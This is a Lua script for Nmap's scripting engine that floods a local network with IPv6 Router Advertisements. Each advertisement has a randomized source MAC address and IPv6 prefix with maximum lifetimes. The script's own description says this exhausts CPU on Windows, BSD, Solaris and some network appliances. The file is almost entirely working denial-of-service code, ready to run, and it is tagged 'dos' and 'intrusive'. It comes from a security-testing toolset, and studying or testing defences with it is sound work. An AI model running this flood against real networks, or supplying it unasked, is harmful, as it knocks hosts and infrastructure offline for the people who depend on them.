local nmap = require "nmap"
local packet = require "packet"
local stdnse = require "stdnse"
local math = require "math"
local string = require "string"
local os = require "os"

description = [[ Generates a flood of Router Advertisements (RA) with random source MAC addresses and IPv6 prefixes. Computers, which have stateless autoconfiguration enabled by default (every major OS), 
will start to compute IPv6 suffix and update their routing table to reflect the accepted announcement. This will cause 100% CPU usage on Windows and platforms, preventing to process other application requests.

Vulnerable platforms:
* All Cisco IOS ASA with firmware < November 2010
* All Netscreen versions supporting IPv6
* Windows 2000/XP/2003/Vista/7/2008/8/2012 
* All FreeBSD versions
* All NetBSD versions
* All Solaris/Illumos versions 

Security advisory: http://www.mh-sec.de/downloads/mh-RA_flooding_CVE-2010-multiple.txt

WARNING: This script is dangerous and is very likely to bring down a server or network appliance. 
It should not be run in a production environment unless you (and, more importantly,
the business) understand the risks! 

Additional documents: https://tools.ietf.org/rfc/rfc6104.txt
]]

---
-- @args ipv6-ra-flood.interface defines interface we should broadcast on
-- @args ipv6-ra-flood.timeout runs the script until the timeout is reached (default: 30s). If timeout is zero, the script will run forever.
--
-- @usage
-- nmap -6 --script ipv6-ra-flood.nse
-- nmap -6 --script ipv6-ra-flood.nse --script-args 'interface=<interface>'
-- nmap -6 --script ipv6-ra-flood.nse --script-args 'interface=<interface>,timeout=10s'

author = "Adam Števko"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"dos", "intrusive"}

try = nmap.new_try()

math.randomseed(os.time())

prerule = function()
	if nmap.address_family() ~= "inet6" then
	 	stdnse.print_debug("%s is IPv6 compatible only.", SCRIPT_NAME)
		return false 
	end
	
	if not nmap.is_privileged() then
		stdnse.print_debug("Running %s needs root privileges.", SCRIPT_NAME)	
		return false 
	end

	if not stdnse.get_script_args(SCRIPT_NAME .. ".interface") and not nmap.get_interface() then
		stdnse.print_debug("No interface was selected, aborting...", SCRIPT_NAME)	
		return false 
	end

	return true
end

local function get_interface()
	local arg_interface = stdnse.get_script_args(SCRIPT_NAME .. ".interface") or nmap.get_interface()

	local if_table = nmap.get_interface_info(arg_interface)
	
	if if_table and packet.ip6tobin(if_table.address) and if_table.link == "ethernet" then
			return if_table.device
		else
			stdnse.print_debug("Interface %s not supported or not properly configured, exiting...", arg_interface)
	end			
end

--- Generates random MAC address
-- @return mac string containing random MAC address 
local function random_mac()

	local mac = string.format("%02x:%02x:%02x:%02x:%02x:%02x", 00, 180, math.random(256)-1, math.random(256)-1, math.random(256)-1, math.random(256)-1)
	return mac
end

--- Generates random IPv6 prefix
-- @return prefix string containing random IPv6 /64 prefix
local function get_random_prefix()
	local prefix = string.format("2a01:%02x%02x:%02x%02x:%02x%02x::", math.random(256)-1, math.random(256)-1, math.random(256)-1, math.random(256)-1, math.random(256)-1, math.random(256)-1)

	return prefix
end

--- Build an ICMPv6 payload of Router Advertisement.
-- @param mac_src six-byte string of the source MAC address.
-- @param prefix 16-byte string of IPv6 address.
-- @param prefix_len integer that represents the length of the prefix.
-- @param valid_time integer that represents the valid time of the prefix.
-- @param preferred_time integer that represents the preferred time of the prefix.
-- @param mtu integer that represents MTU of the link
-- @return icmpv6_payload string representing ICMPv6 RA payload

local function build_router_advert(mac_src,prefix,prefix_len,valid_time,preferred_time, mtu)
	local ra_msg = string.char(0x0, --cur hop limit
		0x08, --flags
		0x00,0x00, --router lifetime
		0x00,0x00,0x00,0x00, --reachable time
		0x00,0x00,0x00,0x00) --retrans timer

	local mtu_option_msg = string.char(0x00, 0x00) .. -- reserved 
		packet.numtostr32(mtu) -- MTU

	local prefix_option_msg = string.char(prefix_len, 0xc0) .. --flags: Onlink, Auto
		packet.set_u32("....", 0, valid_time) .. -- valid lifetime
		packet.set_u32("....", 0, preferred_time) .. -- preffered lifetime
		string.char(0,0,0,0) .. --unknown
		prefix

	local icmpv6_mtu_option = packet.Packet:set_icmpv6_option(packet.ND_OPT_MTU, mtu_option_msg)
	local icmpv6_prefix_option = packet.Packet:set_icmpv6_option(packet.ND_OPT_PREFIX_INFORMATION, prefix_option_msg)
	local icmpv6_src_link_option = packet.Packet:set_icmpv6_option(packet.ND_OPT_SOURCE_LINKADDR, mac_src)
	
	local icmpv6_payload = ra_msg .. icmpv6_mtu_option .. icmpv6_prefix_option .. icmpv6_src_link_option

	return icmpv6_payload
end

--- Broadcasting on the selected interface
-- @param iface table containing interface information 
local function broadcast_on_interface(iface)
	stdnse.print_verbose("Starting " .. SCRIPT_NAME .. " on interface " .. iface)

	-- packet counter
	local counter = 0

	local arg_timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME..".timeout"))
	arg_timeout = arg_timeout or 30

	local dnet = nmap.new_dnet()

	try(dnet:ethernet_open(iface))
	
	local dst_mac = packet.mactobin("33:33:00:00:00:01")
	local dst_ip6_addr = packet.ip6tobin("ff02::1")
	
	local prefix_len = 64
	
	--- maximum possible value of 4-byte integer
	local valid_time = tonumber(0xffffffff)
	local preffered_time = tonumber(0xffffffff) 
	
	local mtu = 1500

	local start, stop = os.time()

	while true do

		local src_mac = packet.mactobin(random_mac()) 
		local src_ip6_addr = packet.mac_to_lladdr(src_mac)
		
		local prefix = packet.ip6tobin(get_random_prefix())
		
		local packet = packet.Frame:new()

		packet.mac_src = src_mac
		packet.mac_dst = dst_mac
		packet.ip_bin_src = src_ip6_addr
		packet.ip_bin_dst = dst_ip6_addr
		
		local icmpv6_payload = build_router_advert(src_mac, prefix, prefix_len, valid_time, preffered_time, mtu)
		packet:build_icmpv6_header(134, 0, icmpv6_payload)
		packet:build_ipv6_packet()
		packet:build_ether_frame()

		try(dnet:ethernet_send(packet.frame_buf))

		counter = counter + 1

		if arg_timeout and arg_timeout > 0 and arg_timeout <= os.time() - start then
			stop = os.time()
			break
		end
	end

	if counter > 0 then
		stdnse.print_debug("%s generated %d packets in %d seconds.", SCRIPT_NAME, counter, stop - start)
	end
end

function action()
	local interface = get_interface()
	
	broadcast_on_interface(interface)
end
